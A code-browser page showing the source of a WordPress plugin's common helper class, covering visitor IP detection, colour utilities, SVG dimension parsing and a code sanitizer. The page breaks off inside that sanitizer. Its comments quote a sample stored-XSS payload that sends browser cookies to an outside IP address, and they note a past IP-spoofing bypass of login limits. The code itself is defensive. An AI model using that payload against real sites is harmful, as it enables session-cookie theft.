PluginProbe ʕ •ᴥ•ʔ
Admin and Site Enhancements (ASE) / 8.8.6
Admin and Site Enhancements (ASE) v8.8.6
9.1.0 9.0.2 9.0.1 9.0.0 8.9.2 8.9.1 8.9.0 8.8.8 8.8.7 8.8.6 8.8.5 8.8.4 8.8.3 8.8.2 8.8.1 8.8.0 8.7.3 8.7.2 8.7.1 8.2.1 8.2.2 8.2.3 8.3.0 8.3.1 8.3.2 8.4.0 8.4.1 8.4.2 8.5.0 8.5.1 8.5.2 8.6.0 8.6.1 8.6.2 8.7.0 5.0.1 5.0.2 5.0.2.1 5.0.2.2 5.0.2.3 5.0.2.4 5.1.0 5.2.0 5.2.1 5.2.10 5.2.11 5.2.2 5.2.3 5.2.4 5.2.5 5.2.6 5.2.7 5.2.8 5.2.9 5.3.0 5.3.1 5.3.2 5.4.0 5.4.1 5.5.0 5.5.1 5.5.2 5.6.0 5.6.1 5.6.2 5.7.0 5.7.1 5.8.0 5.8.1 6.0.0 6.0.3 6.0.4 6.0.5 6.0.5.1 6.0.6 6.0.7 6.0.8.1 6.1.0 6.1.3 6.2.0 6.2.1 6.2.2 6.2.3 6.2.4 6.2.5 6.2.6 6.2.7 6.3.0 6.3.1 6.3.2 6.4.0 6.5.0 6.5.1 6.6.0 6.7.0 6.8.0 6.8.2 6.8.3 6.9.0 6.9.1 6.9.10 6.9.11 6.9.12 6.9.13.1 6.9.13.2 6.9.2 6.9.3 6.9.4 6.9.5 6.9.6 6.9.7 6.9.8 6.9.9 7.0.0 7.0.2 7.0.2.1 7.0.2.2 7.0.2.3 7.0.3 7.1.0 7.1.1 7.1.2 7.1.3 7.1.4 7.1.5 7.2.0 7.2.1 7.3.0 7.3.1 7.3.2 7.3.3 7.4.0 7.4.2 7.4.4 7.4.5 7.4.6 7.4.7 7.4.8 7.5.0 7.5.1 7.5.2 7.5.3 7.5.4 7.6.0 7.6.1 7.6.1.1 7.6.10 7.6.11 7.6.2 7.6.3 7.6.4 7.6.5 7.6.6 7.6.7 7.6.7.1 7.6.8 7.6.9 7.7.0 7.8.0 7.8.1 7.8.10 7.8.11 7.8.12 7.8.13 7.8.14 7.8.15 7.8.16 7.8.17 7.8.18 7.8.2 7.8.3 7.8.4 7.8.5 7.8.5.1 7.8.6 7.8.7 7.8.8 7.8.9 7.9.0 7.9.1 7.9.10 7.9.11 7.9.2 7.9.3 7.9.4 7.9.5 7.9.6 7.9.7 7.9.8 7.9.9 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.0.5 8.0.6 8.0.7 8.0.8 8.1.0 8.1.1 8.1.2 8.1.3 8.1.4 8.2.0 trunk 1.0.0 1.1.0 1.2.0 1.3.0 1.4.0 1.5.0 1.6.0 1.7.0 1.8.0 1.9.0 2.0.0 2.1.0 2.2.0 2.3.0 2.4.0 2.5.0 2.6.0 2.7.0 2.8.0 2.8.1 2.8.2 2.8.3 2.9.0 3.0.0 3.0.1 3.0.2 3.0.3 3.0.4 3.0.5 3.0.6 3.1.0 3.2.0 3.3.0 3.4.0 3.5.0 3.6.1 3.7.0 3.8.0 3.9.0 3.9.1 3.9.2 4.0.0 4.0.1 4.1.0 4.2.0 4.2.1 4.2.2 4.3.0 4.3.1 4.4.0 4.5.0 4.6.0 4.7.0 4.7.1 4.7.2 4.7.3 4.7.4 4.8.0 4.8.1 4.8.2 4.8.3 4.9.0 4.9.1 4.9.2 4.9.3 5.0.0
admin-site-enhancements / classes / class-common-methods.php
admin-site-enhancements / classes Last commit date
class-activation.php 2 months ago class-admin-menu-organizer.php 2 months ago class-admin-menu-svg-icon-mask.php 2 months ago class-auto-publish-posts-with-missed-schedule.php 2 months ago class-avif-upload.php 2 months ago class-captcha-protection.php 2 months ago class-change-login-url.php 2 months ago class-cleanup-admin-bar.php 2 months ago class-common-methods.php 2 months ago class-content-duplication.php 2 months ago class-content-order.php 2 months ago class-custom-admin-footer-text.php 2 months ago class-custom-body-class.php 2 months ago class-custom-css.php 2 months ago class-custom-nav-menu-items-in-new-tab.php 2 months ago class-deactivation.php 2 months ago class-disable-author-archives.php 2 months ago class-disable-comments.php 2 months ago class-disable-dashboard-widgets.php 2 months ago class-disable-embeds.php 2 months ago class-disable-feeds.php 2 months ago class-disable-gutenberg.php 2 months ago class-disable-rest-api.php 2 months ago class-disable-smaller-components.php 2 months ago class-disable-updates.php 2 months ago class-disable-user-account.php 2 months ago class-disable-xml-rpc.php 2 months ago class-display-system-summary.php 2 months ago class-email-address-obfuscator.php 2 months ago class-email-delivery.php 2 months ago class-enhance-list-tables.php 2 months ago class-external-permalinks.php 2 months ago class-heartbeat-control.php 2 months ago class-hide-admin-bar.php 2 months ago class-hide-admin-notices.php 2 months ago class-image-sizes-panel.php 2 months ago class-image-upload-control.php 2 months ago class-insert-head-body-footer-code.php 2 months ago class-last-login-column.php 2 months ago class-limit-login-attempts.php 2 months ago class-login-id-type.php 2 months ago class-login-logout-menu.php 2 months ago class-maintenance-mode.php 2 months ago class-manage-ads-appads-txt.php 2 months ago class-manage-robots-txt.php 2 months ago class-media-files-visibility-control.php 2 months ago class-media-replacement.php 2 months ago class-multiple-user-roles.php 2 months ago class-obfuscate-author-slugs.php 2 months ago class-open-external-links-in-new-tab.php 2 months ago class-password-protection.php 2 months ago class-redirect-after-login.php 2 months ago class-redirect-after-logout.php 2 months ago class-redirect-fourofour.php 2 months ago class-registration-date-column.php 2 months ago class-revisions-control.php 2 months ago class-search-engines-visibility.php 2 months ago class-settings-fields-render.php 2 months ago class-settings-sanitization.php 2 months ago class-settings-sections-fields.php 2 months ago class-show-custom-taxonomy-filters.php 2 months ago class-site-identity-on-login-page.php 2 months ago class-svg-upload.php 2 months ago class-various-admin-ui-enhancements.php 2 months ago class-view-admin-as-role.php 2 months ago class-wider-admin-menu.php 2 months ago class-wp-config-transformer.php 2 months ago
class-common-methods.php
819 lines
1 <?php
2
3 namespace ASENHA\Classes;
4
5 use WP_Query;
6 /**
7 * Class that provides common methods used throughout the plugin
8 *
9 * @since 2.5.0
10 */
11 class Common_Methods {
12 /**
13 * Get IP of the current visitor/user. In use by at least the Limit Login Attempts feature.
14 * This takes a best guess of the visitor's actual IP address.
15 * Takes into account numerous HTTP proxy headers due to variations
16 * in how different ISPs handle IP addresses in headers between hops.
17 *
18 * @link https://stackoverflow.com/q/1634782
19 * @since 2.5.0
20 */
21 public function get_user_ip_address( $return_type = 'ip', $for_which_module = 'limit-login-attempts' ) {
22 $options = get_option( ASENHA_SLUG_U, array() );
23 $ip_address_header = '';
24 switch ( $for_which_module ) {
25 case 'limit-login-attempts':
26 $ip_address_header = ( isset( $options['limit_login_attempts_header_override'] ) ? trim( $options['limit_login_attempts_header_override'] ) : '' );
27 break;
28 case 'password-protection':
29 $ip_address_header = ( isset( $options['password_protection_header_override'] ) ? trim( $options['password_protection_header_override'] ) : '' );
30 break;
31 }
32 // Attempt to get IP address with the preferred header
33 if ( !empty( $ip_address_header ) && isset( $_SERVER[$ip_address_header] ) ) {
34 // Check if multiple IP addresses exist in var
35 $ip_list = explode( ',', $_SERVER[$ip_address_header] );
36 if ( is_array( $ip_list ) && count( $ip_list ) > 1 ) {
37 foreach ( $ip_list as $ip ) {
38 switch ( $return_type ) {
39 case 'ip':
40 if ( $this->is_ip_valid( trim( $ip ) ) ) {
41 return sanitize_text_field( trim( $ip ) );
42 } else {
43 return '0.0.0.0';
44 // placeholder IP address
45 }
46 break;
47 case 'header':
48 return $ip_address_header . ' (multiple IP addresses)';
49 break;
50 }
51 }
52 } else {
53 switch ( $return_type ) {
54 case 'ip':
55 if ( $this->is_ip_valid( trim( $_SERVER[$ip_address_header] ) ) ) {
56 return sanitize_text_field( $_SERVER[$ip_address_header] );
57 } else {
58 return '0.0.0.0';
59 // placeholder IP address
60 }
61 break;
62 case 'header':
63 return $ip_address_header;
64 break;
65 }
66 }
67 }
68 // The following request headers can be modified by user or attacker when sending a request, so, will bypass an already blocked IP
69 // 'HTTP_CLIENT_IP', 'CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_CF_CONNECTING_IP', 'TRUE_CLIENT_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
70 // Reported as security vulnerability in ASE <= v7.6.7.1 -- Limit Login Attempt Bypass via IP Spoofing
71 // Return unreliable but unspoofable IP address coming from the $_SERVER global as the default / fallback
72 switch ( $return_type ) {
73 case 'ip':
74 if ( $this->is_ip_valid( trim( $_SERVER['REMOTE_ADDR'] ) ) ) {
75 return sanitize_text_field( $_SERVER['REMOTE_ADDR'] );
76 } else {
77 return '0.0.0.0';
78 // placeholder IP address
79 }
80 break;
81 case 'header':
82 return 'REMOTE_ADDR';
83 break;
84 }
85 }
86
87 /**
88 * Check if the supplied IP address is valid or not
89 *
90 * @param string $ip an IP address
91 * @link https://stackoverflow.com/q/1634782
92 * @return boolean true if supplied address is valid IP, and false otherwise
93 */
94 public function is_ip_valid( $ip ) {
95 if ( empty( $ip ) ) {
96 return false;
97 }
98 // Ref: https://www.php.net/manual/en/filter.filters.validate.php
99 // Ref: https://www.php.net/manual/en/filter.constants.php#constant.filter-validate-ip
100 // No need to specify which IP type to filter/check, e.g. filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 )
101 // This should check for both IPv4 and IPv6 addresses
102 if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
103 return false;
104 }
105 if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
106 return true;
107 }
108 }
109
110 /**
111 * Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
112 *
113 * @since 2.5.0
114 */
115 public function seconds_to_period( $seconds, $conversion_type ) {
116 $period_start = new \DateTime('@0');
117 $period_end = new \DateTime("@{$seconds}");
118 if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
119 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
120 } elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
121 return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
122 } elseif ( $conversion_type == 'to-minutes-seconds' ) {
123 return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
124 } else {
125 return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
126 }
127 }
128
129 /**
130 * Remove html tags and content inside the tags from a string
131 *
132 * @since 3.0.3
133 */
134 public function strip_html_tags_and_content( $string ) {
135 // Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
136 if ( !is_null( $string ) ) {
137 if ( false === strpos( $string, 'fs-submenu-item' ) ) {
138 $string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
139 }
140 // Strip any remaining HTML or PHP tags
141 $string = strip_tags( $string );
142 }
143 return $string;
144 }
145
146 /**
147 * Extract readable text from a string that may contain HTML.
148 *
149 * Unlike strip_html_tags_and_content(), this method keeps the text inside tags,
150 * e.g. it will turn `<span><img ...>Paymattic</span>` into `Paymattic`.
151 *
152 * @since 8.0.2
153 *
154 * @param string|null $html A string that may contain HTML.
155 * @return string Readable plain text (may be empty).
156 */
157 public function extract_readable_text_from_html( $html ) {
158 if ( null === $html ) {
159 return '';
160 }
161 $text = wp_strip_all_tags( (string) $html, true );
162 $charset = get_bloginfo( 'charset' );
163 if ( empty( $charset ) ) {
164 $charset = 'UTF-8';
165 }
166 $text = html_entity_decode( $text, ENT_QUOTES, $charset );
167 $text = preg_replace( '/\\s+/u', ' ', $text );
168 return trim( $text );
169 }
170
171 /**
172 * Get menu hidden by toggle
173 *
174 * @since 5.1.0
175 */
176 public function get_menu_hidden_by_toggle() {
177 $menu_hidden_by_toggle = array();
178 $options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
179 $options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
180 if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
181 $menu_hidden = $options['custom_menu_hidden'];
182 $menu_hidden = explode( ',', $menu_hidden );
183 $menu_hidden_by_toggle = array();
184 foreach ( $menu_hidden as $menu_id ) {
185 $menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
186 }
187 }
188 return $menu_hidden_by_toggle;
189 }
190
191 /**
192 * Get user capabilities for which the "Show All/Less" menu toggle should be shown for
193 *
194 * @since 5.1.0
195 */
196 public function get_user_capabilities_to_show_menu_toggle_for() {
197 global $menu, $submenu;
198 $menu_always_hidden = array();
199 $user_capabilities_menus_are_hidden_for = array();
200 $menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
201 // indexed array
202 foreach ( $menu as $menu_key => $menu_info ) {
203 foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
204 if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
205 $menu_item_id = $menu_info[2];
206 } else {
207 $menu_item_id = $menu_info[5];
208 }
209 if ( $menu_item_id == $hidden_menu_id ) {
210 $user_capabilities_menus_are_hidden_for[] = $menu_info[1];
211 }
212 }
213 }
214 $user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
215 return $user_capabilities_menus_are_hidden_for;
216 // indexed array
217 }
218
219 /**
220 * Transform menu item's ID
221 *
222 * @since 5.1.0
223 */
224 public function transform_menu_item_id( $menu_item_id ) {
225 // Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
226 $menu_item_id_transformed = str_replace( array(
227 ".",
228 "?",
229 "=/",
230 "=",
231 "&",
232 "/",
233 ";"
234 ), array(
235 "__",
236 "___",
237 "_______",
238 "____",
239 "_____",
240 "______",
241 "________"
242 ), $menu_item_id );
243 return $menu_item_id_transformed;
244 }
245
246 /**
247 * Transform menu item's ID
248 *
249 * @since 5.1.0
250 */
251 public function restore_menu_item_id( $menu_item_id_transformed ) {
252 // Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
253 $menu_item_id = str_replace( array(
254 "________",
255 "_______",
256 "______",
257 "_____",
258 "____",
259 "___",
260 "__"
261 ), array(
262 ";",
263 "=/",
264 "/",
265 "&",
266 "=",
267 "?",
268 "."
269 ), $menu_item_id_transformed );
270 return $menu_item_id;
271 }
272
273 /**
274 * Sanitize hexedecimal numbers used for colors
275 *
276 * @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
277 * @param string $color Hex number to sanitize.
278 * @return string
279 */
280 public function sanitize_hex_color( $color ) {
281 if ( '' === $color ) {
282 return '';
283 }
284 // Make sure the color starts with a hash.
285 $color = '#' . ltrim( $color, '#' );
286 // 3 or 6 hex digits, or the empty string.
287 if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
288 return $color;
289 }
290 return null;
291 }
292
293 /**
294 * Get the post ID of the most recent post in a custom post type
295 *
296 * @since 6.4.1
297 */
298 public function get_most_recent_post_id( $post_type ) {
299 $args = array(
300 'post_type' => $post_type,
301 'posts_per_page' => 1,
302 'orderby' => 'date',
303 'order' => 'DESC',
304 );
305 $query = new WP_Query($args);
306 if ( $query->have_posts() ) {
307 $query->the_post();
308 $post_id = get_the_ID();
309 wp_reset_postdata();
310 return $post_id;
311 }
312 return 0;
313 // Return 0 if no posts found
314 }
315
316 /**
317 * Extended ruleset for wp_kses() that includes SVG tag and it's children
318 *
319 * @since 6.8.3
320 */
321 public function get_kses_extended_ruleset() {
322 $kses_defaults = wp_kses_allowed_html( 'post' );
323 // For SVG icons
324 $svg_args = array(
325 'svg' => array(
326 'class' => true,
327 'aria-hidden' => true,
328 'aria-labelledby' => true,
329 'role' => true,
330 'xmlns' => true,
331 'width' => true,
332 'height' => true,
333 'viewbox' => true,
334 'viewBox' => true,
335 ),
336 'g' => array(
337 'fill' => true,
338 'fill-rule' => true,
339 'stroke' => true,
340 'stroke-width' => true,
341 'stroke-linejoin' => true,
342 'stroke-linecap' => true,
343 ),
344 'title' => array(
345 'title' => true,
346 ),
347 'path' => array(
348 'd' => true,
349 'fill' => true,
350 'stroke' => true,
351 'stroke-width' => true,
352 'stroke-linejoin' => true,
353 'stroke-linecap' => true,
354 ),
355 'rect' => array(
356 'width' => true,
357 'height' => true,
358 'x' => true,
359 'y' => true,
360 'rx' => true,
361 'ry' => true,
362 'fill' => true,
363 'stroke' => true,
364 'stroke-width' => true,
365 'stroke-linejoin' => true,
366 'stroke-linecap' => true,
367 ),
368 'circle' => array(
369 'cx' => true,
370 'cy' => true,
371 'r' => true,
372 'stroke' => true,
373 'stroke-width' => true,
374 'stroke-linejoin' => true,
375 'stroke-linecap' => true,
376 ),
377 );
378 $kses_with_extras = array_merge( $kses_defaults, $svg_args );
379 // For embedded PDF viewer
380 $style_script_args = array(
381 'style' => true,
382 'script' => array(
383 'src' => true,
384 ),
385 );
386 return array_merge( $kses_with_extras, $style_script_args );
387 }
388
389 /**
390 * Get the singular label from a $post object
391 *
392 * @since 6.9.3
393 */
394 function get_post_type_singular_label( $post ) {
395 $post_type_singular_label = '';
396 if ( property_exists( $post, 'post_type' ) ) {
397 $post_type_object = get_post_type_object( $post->post_type );
398 if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
399 $post_type_singular_label = $post_type_object->labels->singular_name;
400 }
401 }
402 return $post_type_singular_label;
403 }
404
405 function is_in_block_editor() {
406 $current_screen = get_current_screen();
407 if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
408 return true;
409 } else {
410 return false;
411 }
412 }
413
414 /**
415 * Check if WooCommerce is active
416 *
417 * @since 6.9.9
418 */
419 public function is_woocommerce_active() {
420 if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
421 return true;
422 } else {
423 return false;
424 }
425 }
426
427 /**
428 * Convert HEX color to RGBA
429 *
430 * @link https://stackoverflow.com/a/31934345
431 * @since 7.0.0
432 */
433 public function hex_to_rgba( $hex, $alpha = false ) {
434 $hex = str_replace( '#', '', trim( $hex ) );
435 $length = strlen( $hex );
436 $rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
437 $rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
438 $rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
439 if ( false !== $alpha ) {
440 $rgb['a'] = $alpha;
441 }
442 // Return array of r, g, b and a
443 // return $rgb;
444 // Return rgb(255,255,255) or rgba(255,255,255,.5)
445 return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
446 }
447
448 /**
449 * Increases or decreases the brightness of a color by a percentage of the current brightness.
450 *
451 * @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
452 * @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
453 *
454 * @return string
455 *
456 * @link https://stackoverflow.com/a/54393956
457 * @author maliayas
458 */
459 function adjust_bnrightness( $hex, $adjustment_percentage ) {
460 $hex = ltrim( $hex, '#' );
461 if ( strlen( $hex ) == 3 ) {
462 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
463 }
464 $hex = array_map( 'hexdec', str_split( $hex, 2 ) );
465 foreach ( $hex as &$color ) {
466 $adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
467 $adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
468 $color = str_pad(
469 dechex( $color + $adjustAmount ),
470 2,
471 '0',
472 STR_PAD_LEFT
473 );
474 }
475 return '#' . implode( $hex );
476 }
477
478 /**
479 * Detect if a color is light or dark
480 *
481 * @link https://stackoverflow.com/a/12228730
482 * @since 7.0.0
483 */
484 public function is_color_dark( $hex ) {
485 $hex = str_replace( '#', '', trim( (string) $hex ) );
486 if ( 3 === strlen( $hex ) ) {
487 $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
488 }
489 if ( 6 !== strlen( $hex ) || !ctype_xdigit( $hex ) ) {
490 return true;
491 }
492 $r = hexdec( substr( $hex, 0, 2 ) );
493 $g = hexdec( substr( $hex, 2, 2 ) );
494 $b = hexdec( substr( $hex, 4, 2 ) );
495 $lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
496 // HSL algorithm
497 return $lightness <= 0.8;
498 }
499
500 /**
501 * Return SVG for small triangle in place of using &#9654; HTMl character
502 * which may be converted to emoticon by the browser or app
503 *
504 * @since 7.2.0
505 */
506 public function get_svg_triangle() {
507 return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
508 }
509
510 /**
511 * Get intrinsic width/height dimensions from a local SVG file.
512 *
513 * Some SVGs use percentage width/height attributes (e.g. width="100%" height="100%").
514 * In those cases, a correct aspect ratio should be derived from the viewBox instead.
515 *
516 * @since 9.2.0
517 *
518 * @param string $svg_path Absolute path to a local SVG file.
519 * @return array{width:int,height:int} Intrinsic dimensions if known, otherwise 0/0.
520 */
521 public function get_svg_intrinsic_dimensions_from_file( $svg_path ) {
522 $dims = array(
523 'width' => 0,
524 'height' => 0,
525 );
526 $svg_path = (string) $svg_path;
527 if ( '' === $svg_path ) {
528 return $dims;
529 }
530 $ext = strtolower( (string) pathinfo( $svg_path, PATHINFO_EXTENSION ) );
531 if ( 'svg' !== $ext ) {
532 return $dims;
533 }
534 if ( !file_exists( $svg_path ) ) {
535 return $dims;
536 }
537 // Safely parse SVG XML without allowing network access.
538 $prev_internal_errors = libxml_use_internal_errors( true );
539 $svg = simplexml_load_file( $svg_path, 'SimpleXMLElement', LIBXML_NONET | LIBXML_NOCDATA );
540 libxml_clear_errors();
541 libxml_use_internal_errors( $prev_internal_errors );
542 if ( false === $svg ) {
543 return $dims;
544 }
545 $attributes = $svg->attributes();
546 $width_raw = ( isset( $attributes->width ) ? trim( (string) $attributes->width ) : '' );
547 $height_raw = ( isset( $attributes->height ) ? trim( (string) $attributes->height ) : '' );
548 $view_box = ( isset( $attributes->viewBox ) ? trim( (string) $attributes->viewBox ) : '' );
549 $length_dims = $this->parse_svg_width_height_pair( $width_raw, $height_raw );
550 if ( $length_dims['width'] > 0 && $length_dims['height'] > 0 ) {
551 return $length_dims;
552 }
553 $vb_dims = $this->parse_svg_viewbox_dimensions( $view_box );
554 if ( $vb_dims['width'] > 0 && $vb_dims['height'] > 0 ) {
555 return $vb_dims;
556 }
557 return $dims;
558 }
559
560 /**
561 * Parse SVG width/height attributes when both values are absolute lengths.
562 *
563 * If either value is percentage-based (contains "%") or otherwise not parseable as an
564 * absolute length, return 0/0 so callers can fall back to viewBox.
565 *
566 * @since 9.2.0
567 *
568 * @param string $width_raw Raw `width` attribute value.
569 * @param string $height_raw Raw `height` attribute value.
570 * @return array{width:int,height:int}
571 */
572 private function parse_svg_width_height_pair( $width_raw, $height_raw ) {
573 $dims = array(
574 'width' => 0,
575 'height' => 0,
576 );
577 $width_raw = (string) $width_raw;
578 $height_raw = (string) $height_raw;
579 if ( '' === $width_raw || '' === $height_raw ) {
580 return $dims;
581 }
582 // Percentage sizes are not intrinsic dimensions.
583 if ( false !== strpos( $width_raw, '%' ) || false !== strpos( $height_raw, '%' ) ) {
584 return $dims;
585 }
586 $width_parsed = $this->parse_svg_absolute_length_value( $width_raw );
587 $height_parsed = $this->parse_svg_absolute_length_value( $height_raw );
588 if ( empty( $width_parsed['value'] ) || empty( $height_parsed['value'] ) ) {
589 return $dims;
590 }
591 // Require matching units (treat empty as px) to avoid having to convert.
592 $width_unit = ( isset( $width_parsed['unit'] ) ? (string) $width_parsed['unit'] : '' );
593 $height_unit = ( isset( $height_parsed['unit'] ) ? (string) $height_parsed['unit'] : '' );
594 if ( $width_unit !== $height_unit ) {
595 return $dims;
596 }
597 $w = (float) $width_parsed['value'];
598 $h = (float) $height_parsed['value'];
599 if ( $w <= 0 || $h <= 0 ) {
600 return $dims;
601 }
602 $dims['width'] = (int) round( $w );
603 $dims['height'] = (int) round( $h );
604 return $dims;
605 }
606
607 /**
608 * Parse SVG viewBox dimensions.
609 *
610 * @since 9.2.0
611 *
612 * @param string $view_box Raw `viewBox` attribute value.
613 * @return array{width:int,height:int}
614 */
615 private function parse_svg_viewbox_dimensions( $view_box ) {
616 $dims = array(
617 'width' => 0,
618 'height' => 0,
619 );
620 $view_box = trim( (string) $view_box );
621 if ( '' === $view_box ) {
622 return $dims;
623 }
624 $parts = preg_split( '/[\\s,]+/', $view_box );
625 if ( !is_array( $parts ) ) {
626 return $dims;
627 }
628 $parts = array_values( array_filter( $parts, 'strlen' ) );
629 if ( count( $parts ) < 4 ) {
630 return $dims;
631 }
632 $vb_w = floatval( $parts[2] );
633 $vb_h = floatval( $parts[3] );
634 if ( $vb_w <= 0 || $vb_h <= 0 ) {
635 return $dims;
636 }
637 $dims['width'] = (int) round( $vb_w );
638 $dims['height'] = (int) round( $vb_h );
639 return $dims;
640 }
641
642 /**
643 * Parse an SVG length attribute as an absolute value and unit.
644 *
645 * Supports unitless values and common absolute units used in SVG. Percentage values
646 * are rejected earlier by the caller.
647 *
648 * @since 9.2.0
649 *
650 * @param string $raw Raw attribute value.
651 * @return array{value:float,unit:string}|array{} Empty array if not parseable.
652 */
653 private function parse_svg_absolute_length_value( $raw ) {
654 $raw = trim( (string) $raw );
655 if ( '' === $raw ) {
656 return array();
657 }
658 if ( !preg_match( '/^\\s*([0-9]*\\.?[0-9]+)\\s*(px|pt|pc|mm|cm|in|q)?\\s*$/i', $raw, $matches ) ) {
659 return array();
660 }
661 $value = floatval( $matches[1] );
662 if ( $value <= 0 ) {
663 return array();
664 }
665 $unit = ( isset( $matches[2] ) ? strtolower( (string) $matches[2] ) : '' );
666 // Normalize empty unit to px (SVG/CSS default).
667 if ( '' === $unit ) {
668 $unit = 'px';
669 }
670 return array(
671 'value' => $value,
672 'unit' => $unit,
673 );
674 }
675
676 /**
677 * Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
678 *
679 * @since 7.2.1
680 */
681 public function get_image_url( $ase_settings_field_name ) {
682 $options = get_option( ASENHA_SLUG_U, array() );
683 if ( isset( $options[$ase_settings_field_name] ) ) {
684 if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
685 $logo_image = content_url() . $options[$ase_settings_field_name];
686 } else {
687 // $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
688 $maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
689 if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
690 $logo_image = $maybe_valid_url;
691 } else {
692 $logo_image = '';
693 }
694 }
695 } else {
696 $logo_image = '';
697 }
698 return $logo_image;
699 }
700
701 /**
702 * Get current URL, without query parameters and without trailing slash
703 * e.g. https://www.site.com/some-page
704 *
705 * @return string
706 */
707 public function get_current_url() {
708 $output = '';
709 $url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
710 $url_parts = explode( '?', $url, 2 );
711 // limit to max of 2 elements with last element containing the rest of the string
712 if ( isset( $url_parts[0] ) ) {
713 $output = trim( $url_parts[0], '/' );
714 }
715 return ( $output ? urldecode( $output ) : '/' );
716 }
717
718 /**
719 * Get full URL, with query parameters
720 * e.g. https://www.site.com/some-page?param=value
721 *
722 * @link https://stackoverflow.com/a/6768831
723 * @since 7.8.18
724 */
725 public function get_full_url() {
726 $full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
727 return $full_url;
728 }
729
730 /**
731 * Get array of elements with value of true
732 *
733 * @since 7.6.10
734 */
735 public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
736 $array_of_keys_with_true_value = array();
737 if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
738 foreach ( $array_with_true_false_values as $key => $value ) {
739 if ( $value ) {
740 $array_of_keys_with_true_value[] = $key;
741 }
742 }
743 return $array_of_keys_with_true_value;
744 } else {
745 return array();
746 // default, empty array
747 }
748 }
749
750 /**
751 * Sanitize user-submitted code from potential security vulnerabilities
752 *
753 * @since 7.8.7
754 */
755 public function sanitize_html_js_css_code( $code ) {
756 $code_lines = explode( PHP_EOL, $code );
757 $sanitized_code_lines = array();
758 foreach ( $code_lines as $code_line ) {
759 if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
760 // Do nothing. Do not include the code line in the sanitized code.
761 // Example of malicious code:
762 // 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
763 // This line of code will send cookies from users browser to a remote server for exploitation
